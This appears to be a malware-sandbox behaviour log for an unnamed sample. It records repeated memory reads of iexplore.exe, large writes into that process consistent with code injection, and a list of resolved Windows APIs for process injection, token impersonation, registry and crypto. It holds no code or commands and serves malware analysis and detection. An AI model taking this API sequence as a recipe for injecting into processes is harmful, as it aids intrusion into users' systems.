Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 594368, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 596410, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147332096, size = 472 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2822592, size = 656 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2824600, size = 32 True 1
Fn
Data
Read c:\program files\internet explorer\iexplore.exe address = 2147344384, size = 472 True 1
Fn
Data
Write c:\program files\internet explorer\iexplore.exe address = 0x1a00000, size = 79360 True 1
Fn
Data
Write c:\program files\internet explorer\iexplore.exe address = 0x1a13600, size = 32 True 1
Fn
Data
Write c:\program files\internet explorer\iexplore.exe address = 0x1a90000, size = 79360 True 1
Fn
Data
Write c:\program files\internet explorer\iexplore.exe address = 0x1aa3600, size = 32 True 1
Fn
Data
For performance reasons, the remaining 6 entries are omitted.
The remaining entries can be found in glog.xml.
Module (43922)
»
Operation Module Additional Information Success Count Logfile
Load KERNEL32.dll base_address = 0x76b10000 True 1
Fn
Load USER32.dll base_address = 0x76c00000 True 1
Fn
Load ADVAPI32.dll base_address = 0x774c0000 True 1
Fn
Load WTSAPI32.dll base_address = 0x73f10000 True 1
Fn
Load USERENV.dll base_address = 0x74b30000 True 1
Fn
Load WS2_32.dll base_address = 0x75a90000 True 1
Fn
Load SHLWAPI.dll base_address = 0x771d0000 True 1
Fn
Load ntdll.dll base_address = 0x77330000 True 1
Fn
Load CRYPT32.dll base_address = 0x75610000 True 1
Fn
Load Secur32.dll base_address = 0x75390000 True 1
Fn
Load SHELL32.dll base_address = 0x75bb0000 True 1
Fn
Load api-ms-win-core-synch-l1-2-0 base_address = 0x0 False 4
Fn
Load api-ms-win-core-synch-l1-2-0 base_address = 0x6c330000 True 4
Fn
Load api-ms-win-core-fibers-l1-1-1 base_address = 0x0 False 8
Fn
Load kernel32 base_address = 0x0 False 4
Fn
Load kernel32 base_address = 0x76b10000 True 4
Fn
Load api-ms-win-core-localization-l1-2-1 base_address = 0x0 False 4
Fn
Load api-ms-win-core-sysinfo-l1-2-1 base_address = 0x0 False 2
Fn
Load KERNEL32.dll base_address = 0x0 True 1
Fn
Load psapi.dll base_address = 0x759d0000 True 1
Fn
Load kernel32.dll base_address = 0x76b10000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Handle c:\windows\system32\advapi32.dll base_address = 0x774c0000 True 35
Fn
Get Handle c:\windows\system32\shell32.dll base_address = 0x75bb0000 True 43492
Fn
Get Handle c:\windows\system32\ntdll.dll base_address = 0x77330000 True 3
Fn
Get Filename api-ms-win-core-localization-l1-2-1 process_name = c:\windows\system32\svchost.exe, file_name_orig = C:\Windows\system32\svchost.exe, size = 260 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = QueryPerformanceFrequency, address_out = 0x76b522a7 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetCurrentDirectoryA, address_out = 0x76b5903d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentDirectoryA, address_out = 0x76b4733c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetTickCount, address_out = 0x76b5ba60 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetSystemTime, address_out = 0x76b5ced8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcmpiA, address_out = 0x76b52249 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetLastError, address_out = 0x76b5bf00 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FlushInstructionCache, address_out = 0x76b523c6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FreeLibrary, address_out = 0x76b5d9d0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ReadProcessMemory, address_out = 0x76b4c1ce True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualAllocEx, address_out = 0x76b4c1b6 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcAddress, address_out = 0x76b633d3 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetNativeSystemInfo, address_out = 0x76b4be77 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetVersionExA, address_out = 0x76b63861 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LoadLibraryA, address_out = 0x76b6395c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleA, address_out = 0x76b5cf41 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ResumeThread, address_out = 0x76b50f1c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualAlloc, address_out = 0x76b62fb6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualFree, address_out = 0x76b61da4 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetLastError, address_out = 0x76b5bb08 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WriteProcessMemory, address_out = 0x76b4c1de True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapReAlloc, address_out = 0x7739ff51 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ExitProcess, address_out = 0x76b6214f True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateFileW, address_out = 0x76b5cc56 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = DecodePointer, address_out = 0x7738cd10 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetFilePointerEx, address_out = 0x76b4f5b2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetConsoleMode, address_out = 0x76b62412 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetConsoleCP, address_out = 0x76b62c8a True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FlushFileBuffers, address_out = 0x76b47f81 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetStdHandle, address_out = 0x76b9f589 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x76b61dc3 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x76b61dbc True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCommandLineW, address_out = 0x76b6679e True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCommandLineA, address_out = 0x76b698ff True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateThread, address_out = 0x76b6375d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CloseHandle, address_out = 0x76b5ca7c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetExitCodeThread, address_out = 0x76b46ddd True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcmpA, address_out = 0x76b48c59 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrlenA, address_out = 0x76b5a611 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = DeleteCriticalSection, address_out = 0x77389ac5 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeCriticalSection, address_out = 0x7738a149 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LeaveCriticalSection, address_out = 0x77377760 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = EnterCriticalSection, address_out = 0x773777a0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcessHeap, address_out = 0x76b61280 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapAlloc, address_out = 0x77382dd6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapSize, address_out = 0x77389bec True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapValidate, address_out = 0x76b525dd True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapFree, address_out = 0x76b5bbd0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Sleep, address_out = 0x76b5ba46 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCPInfo, address_out = 0x76b61e2e True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetOEMCP, address_out = 0x76b53db9 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsValidCodePage, address_out = 0x76b6c1c0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FindFirstFileExA, address_out = 0x76b9f3ef True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FindClose, address_out = 0x76b60e62 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76b6ed38 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76b63d01 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentProcess, address_out = 0x76b5cdcf True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TerminateProcess, address_out = 0x76b52331 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76b676b5 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetStartupInfoW, address_out = 0x76b63891 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleW, address_out = 0x76b6374d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76b5bb9f True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentProcessId, address_out = 0x76b5cac4 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentThreadId, address_out = 0x76b5bb80 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76b62fde True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeSListHead, address_out = 0x77395eeb True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ReadFile, address_out = 0x76b596fb True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFileSizeEx, address_out = 0x76b559ef True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualQuery, address_out = 0x76b676d6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FindFirstFileA, address_out = 0x76b62d89 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FindNextFileA, address_out = 0x76b5a187 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateFileA, address_out = 0x76b5cee8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = DeleteFileA, address_out = 0x76b547cb True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SystemTimeToFileTime, address_out = 0x76b5cecb True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Process32First, address_out = 0x76b7443d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = OpenProcess, address_out = 0x76b559d7 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76b4f731 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ProcessIdToSessionId, address_out = 0x76b5b744 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GlobalAlloc, address_out = 0x76b59ce1 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Process32Next, address_out = 0x76b74505 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GlobalFree, address_out = 0x76b59cf9 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WTSGetActiveConsoleSessionId, address_out = 0x76b4480b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TerminateThread, address_out = 0x76b622a7 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateProcessA, address_out = 0x76b12082 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsWow64Process, address_out = 0x76b54785 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = WriteFile, address_out = 0x76b61400 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetFilePointer, address_out = 0x76b5db36 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetEndOfFile, address_out = 0x76b52319 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualProtectEx, address_out = 0x76b9f5d9 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFileSize, address_out = 0x76b50273 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateNamedPipeA, address_out = 0x76b9d44f True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = EncodePointer, address_out = 0x7738a295 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = RaiseException, address_out = 0x76b4eb60 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InterlockedFlushSList, address_out = 0x77383129 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = RtlUnwind, address_out = 0x76b47f70 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76b63939 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TlsAlloc, address_out = 0x76b635a1 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TlsGetValue, address_out = 0x76b5da70 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TlsSetValue, address_out = 0x76b5da88 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TlsFree, address_out = 0x76b613b8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LoadLibraryExW, address_out = 0x76b54775 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleExW, address_out = 0x76b53e39 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleFileNameA, address_out = 0x76b633f6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = MultiByteToWideChar, address_out = 0x76b6452b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WideCharToMultiByte, address_out = 0x76b6450e True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetStdHandle, address_out = 0x76b61e46 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFileType, address_out = 0x76b675a5 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WriteConsoleW, address_out = 0x76b582f1 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetACP, address_out = 0x76b639aa True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetStringTypeW, address_out = 0x76b667c8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LCMapStringW, address_out = 0x76b613d0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ReadConsoleW, address_out = 0x76b70e73 True 1
Fn
Get Address c:\windows\system32\user32.dll function = wsprintfA, address_out = 0x76c13f47 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptDestroyHash, address_out = 0x774cdf66 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptGetHashParam, address_out = 0x774cdf7e True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptGenKey, address_out = 0x774c8ee9 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptReleaseContext, address_out = 0x774ce124 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RevertToSelf, address_out = 0x774d1562 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegQueryInfoKeyA, address_out = 0x774ce143 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptCreateHash, address_out = 0x774cdf4e True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptAcquireContextA, address_out = 0x774c91dd True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptGenRandom, address_out = 0x774cdfc8 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptAcquireContextW, address_out = 0x774cdf14 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptGetUserKey, address_out = 0x77503228 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptDestroyKey, address_out = 0x774cc51a True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = ConvertStringSecurityDescriptorToSecurityDescriptorA, address_out = 0x774cca94 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegEnumKeyExA, address_out = 0x774d1481 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegOpenKeyExA, address_out = 0x774d4907 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegSetValueExA, address_out = 0x774d14b3 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegCreateKeyExA, address_out = 0x774d1469 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegQueryValueExA, address_out = 0x774d48ef True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegCloseKey, address_out = 0x774d469d True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = GetTokenInformation, address_out = 0x774d431c True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = ConvertSidToStringSidW, address_out = 0x774d4344 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = DuplicateToken, address_out = 0x774cc7e6 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = OpenProcessToken, address_out = 0x774d4304 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = ImpersonateLoggedOnUser, address_out = 0x774cc57a True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = GetUserNameA, address_out = 0x774ea4b4 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegDisablePredefinedCacheEx, address_out = 0x77503429 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegCreateKeyA, address_out = 0x774ccd01 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = DuplicateTokenEx, address_out = 0x774cca24 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CreateProcessAsUserA, address_out = 0x77502538 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptHashData, address_out = 0x774cdf36 True 1
Fn
Get Address c:\windows\system32\wtsapi32.dll function = WTSQueryUserToken, address_out = 0x73f11f81 True 1
Fn
Get Address c:\windows\system32\userenv.dll function = CreateEnvironmentBlock, address_out = 0x74b31a7a True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 3, address_out = 0x75a93918 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 2, address_out = 0x75a94582 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 1, address_out = 0x75a968b6 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 13, address_out = 0x75a9b001 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 23, address_out = 0x75a93eb8 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 4, address_out = 0x75a96bdd True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 16, address_out = 0x75a96b0e True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 8, address_out = 0x75a92d57 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 21, address_out = 0x75a941b6 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 115, address_out = 0x75a93ab2 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 52, address_out = 0x75aa7673 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 22, address_out = 0x75a9449d True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 111, address_out = 0x75a937ad True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 19, address_out = 0x75a96f01 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 9, address_out = 0x75a92d8b True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = StrCmpNA, address_out = 0x771fc57c True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = StrCmpNIA, address_out = 0x771dd11c True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = wnsprintfA, address_out = 0x771fedae True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = StrStrIA, address_out = 0x771dd250 True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = StrStrIW, address_out = 0x771e46e9 True 1
Fn
